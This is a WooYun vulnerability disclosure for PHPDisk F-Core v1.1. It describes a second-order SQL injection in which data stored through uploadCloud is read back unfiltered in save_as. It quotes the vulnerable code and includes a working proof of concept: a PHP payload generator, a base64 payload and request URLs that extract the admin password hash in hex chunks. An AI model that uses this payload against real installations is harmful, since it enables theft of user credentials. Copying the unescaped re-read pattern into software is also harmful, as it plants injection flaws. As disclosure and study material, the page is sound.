当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070754

漏洞标题:PHPDisk F-Core v1.1 曲折实现的二次注入

相关厂商:phpdisk.com

漏洞作者: 飞扬风

提交时间:2014-08-05 16:29

修复时间:2014-11-03 16:30

公开时间:2014-11-03 16:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-05: 细节已通知厂商并且等待厂商处理中
2014-08-05: 厂商已经确认,细节仅向厂商公开
2014-08-08: 细节向第三方安全合作伙伴开放
2014-09-29: 细节向核心白帽子及相关领域专家公开
2014-10-09: 细节向普通白帽子公开
2014-10-19: 细节向实习白帽子公开
2014-11-03: 细节向公众公开

简要描述:

发现二次注入比较明显,由于不报错,加上注入点位置比较奇葩,利用起来颇费周折
~可能是技术不过关没有想到更好的利用办法了~

详细说明:

二次注入是在ajax.php中发生的
主要流程是uploadcloud时在写入的内容,在save_as时被读取,但是没有进行过滤,造成了二次注入
来具体看看代码,首先是uploadcloud

case 'uploadCloud':
$folder_id = (int)gpc('folder_id','P',0);
$folder_id = $folder_id ? $folder_id : -1;
$data = trim(gpc('data','P',''));
$is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1;
if($settings['all_file_share']){
$in_share = 1;
}else{
$in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'");
}
if($data){
$file_key = random(8);
if(strpos($data,',')!==false){
$add_sql = $msg = '';
$arr = explode(',',$data);
for($i=0;$i<count($arr)-1;$i++){
$file = unserialize(base64_decode($arr[$i]));
$file[file_id] = (int)$file[file_id];
$file[file_size] = (int)$file[file_size];
$file[file_description] = $db->escape(trim($file[file_description]));
$file[file_extension] = $db->escape(trim($file[file_extension]));
$file[file_name] = $db->escape(trim($file[file_name]));
$report_status =0;
$report_arr = explode(',',$settings['report_word']);
if(count($report_arr)){
foreach($report_arr as $value){
if (strpos($file['file_name'],$value) !== false){
$report_status = 2;
}
}
}
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
if($num && $file[file_id]){
$tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : '';
$msg .= $file[file_name].$tmp_ext.',';
}else{
$add_sql .= "({$file[file_id]},'{$file[file_name]}','$file_key','{$file[file_extension]}','application/octet-stream','{$file[file_description]}','{$file[file_size]}','$timestamp','$is_checked','$in_share','$report_status','$pd_uid','$folder_id','$onlineip'),";
}
}
if($add_sql){
$add_sql = is_utf8() ? $add_sql : convert_str('utf-8','gbk',$add_sql);
$add_sql = substr($add_sql,0,-1);
$db->query_unbuffered("insert into {$tpf}files(yun_fid,file_name,file_key,file_extension,file_mime,file_description,file_size,file_time,is_checked,in_share,report_status,userid,folder_id,ip) values $add_sql ;");
}
}


虽然data使用base64加密,并且serialize,但是重新读入的时候都做了escape处理,确保了该函数不会有注入
继续看下save_as

case 'save_as':
$file_id = (int)gpc('file_id','G',0);
if($pd_uid){
$rs = $db->fetch_one_array("select * from {$tpf}files where file_id='$file_id' limit 1");
if($rs){
$has_file = @$db->result_first("select count(*) from {$tpf}files where file_name='{$rs[file_name]}' and file_extension='{$rs[file_extension]}' and file_size='{$rs[file_size]}' and userid='$pd_uid' limit 1"); //注入点1
if(($rs['userid'] ==$pd_uid) || $has_file){
$rtn ='ufile';
}else{
$ins = array(
'file_name' => '[转]'.$rs['file_name'],
'file_key' => random(8),
'file_extension' => $rs['file_extension'],
'is_image' => $rs['is_image'],
'file_mime' => $rs['file_mime'],
'file_description' => $rs['file_description'],
'file_store_path' => $rs['file_store_path'],
'file_real_name' => $rs['file_real_name'],
'file_md5' => $rs['file_md5'],
'server_oid' => $rs['server_oid'],
'file_size' => $rs['file_size'],
'file_time' => $timestamp,
'in_share' => 1,
'is_checked' => $rs['is_checked'],
'userid' => $pd_uid,
'ip' => get_ip(),
);
$db->query_unbuffered("insert into {$tpf}files set ".$db->sql_array($ins).""); //注入点2
$rtn = 'true';
}
}
unset($rs);
}else{
$rtn = 'false';
}
echo $rtn;
break;


其中有两个注入点,都是因为对rs的数据没有过滤造成的
由于这套系统没有显示mysql错误,因此注入点1的select查询只能进行盲注,这样的话需要次数比较多,比较麻烦,所以考虑通过注入点2的insert进行注入,看能否直接爆出数据
这个时候就出现了问题,要让语句先通过第一个select语句不报错才能进入注入点2
看了一下,注入点1中只用了3个参数name,size,extension,还有一个description是我们可控的参数,那么如果我们通过description进行注入,就能成功通过注入点1到达注入点2
先调用uploadcloud,在description中写入单引号,然后换一个帐号(一定要换个帐号!)调用save_as,调出调试信息看一下语句,像是这样

QQ截图20140802171532.jpg


可以发现二次注入确实存在,但是注入点的位置很尴尬,能在页面中显示的name字段在注入点之前,其他能显示的字段就剩下description本身
那么想在name处直接爆信息是不可能了,description已经有了一个单引号,导致

update set description = (select xxx)

这样的方式也不可能了
首先想到了一个解决方案,用类似盲注的方法,看图

QQ截图20140802172339.jpg


通过这种方式,将password每一位都爆在description处,直接查看,总共需要32次,比盲注好了不少,不过还是不够给力
所以又想到了方案2,还是看图

QQ截图20140802172753.jpg


用hex的方式,可以爆多位内容了,离成功更近了一步,不过尝试爆password的时候,问题出现了

QQ截图20140802172925.jpg


由于password是md5,应该是32位,而hex后应该是64位,果断太长了
最终折中的方案是,32位的password通过分段来爆,每次最多爆7位,这样最少只要5次就解决了

QQ截图20140802173326.jpg


水平有限,只能这样了~

漏洞证明:

以爆前password的前7位来证明,首先登陆帐号A,进行uploadcloud的操作

<?php 
$file[file_description] = "0'+substr(hex((SELECT password from pd_users limit 0,1)),1,14)+'0";
$file[file_name] = "1";
$file[file_size] = "1";
$file[file_extension] = "1";
echo base64_encode(serialize($file));
?>


通过代码,得到data的值为YTo0OntzOjE2OiJmaWxlX2Rlc2NyaXB0aW9uIjtzOjY1OiIwJytzdWJzdHIoaGV4KChTRUxFQ1QgcGFzc3dvcmQgZnJvbSBwZF91c2VycyBsaW1pdCAwLDEpKSwxLDE0KSsnMCI7czo5OiJmaWxlX25hbWUiO3M6MToiMSI7czo5OiJmaWxlX3NpemUiO3M6MToiMSI7czoxNDoiZmlsZV9leHRlbnNpb24iO3M6MToiMSI7fQ==

http://localhost/phpdisk-f/ajax.php?action=uploadCloud
post:folder_id=2&data=YTo0OntzOjE2OiJmaWxlX2Rlc2NyaXB0aW9uIjtzOjY1OiIwJytzdWJzdHIoaGV4KChTRUxFQ1QgcGFzc3dvcmQgZnJvbSBwZF91c2VycyBsaW1pdCAwLDEpKSwxLDE0KSsnMCI7czo5OiJmaWxlX25hbWUiO3M6MToiMSI7czo5OiJmaWxlX3NpemUiO3M6MToiMSI7czoxNDoiZmlsZV9leHRlbnNpb24iO3M6MToiMSI7fQ==,


folder_id是已创建的文件夹id

QQ截图20140802174223.jpg


看下文件已经创建了,并且文件id为7(看链接就知道)

QQ截图20140802174343.jpg


切换到帐号B,访问http://localhost/phpdisk-f/ajax.php?action=save_as&file_id=7


看下文件管理,成功爆出数据了

QQ截图20140802174708.jpg

修复方案:

注意二次注入的问题

版权声明:转载请注明来源 飞扬风@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-08-05 16:57

厂商回复:

感谢反馈

最新状态:

暂无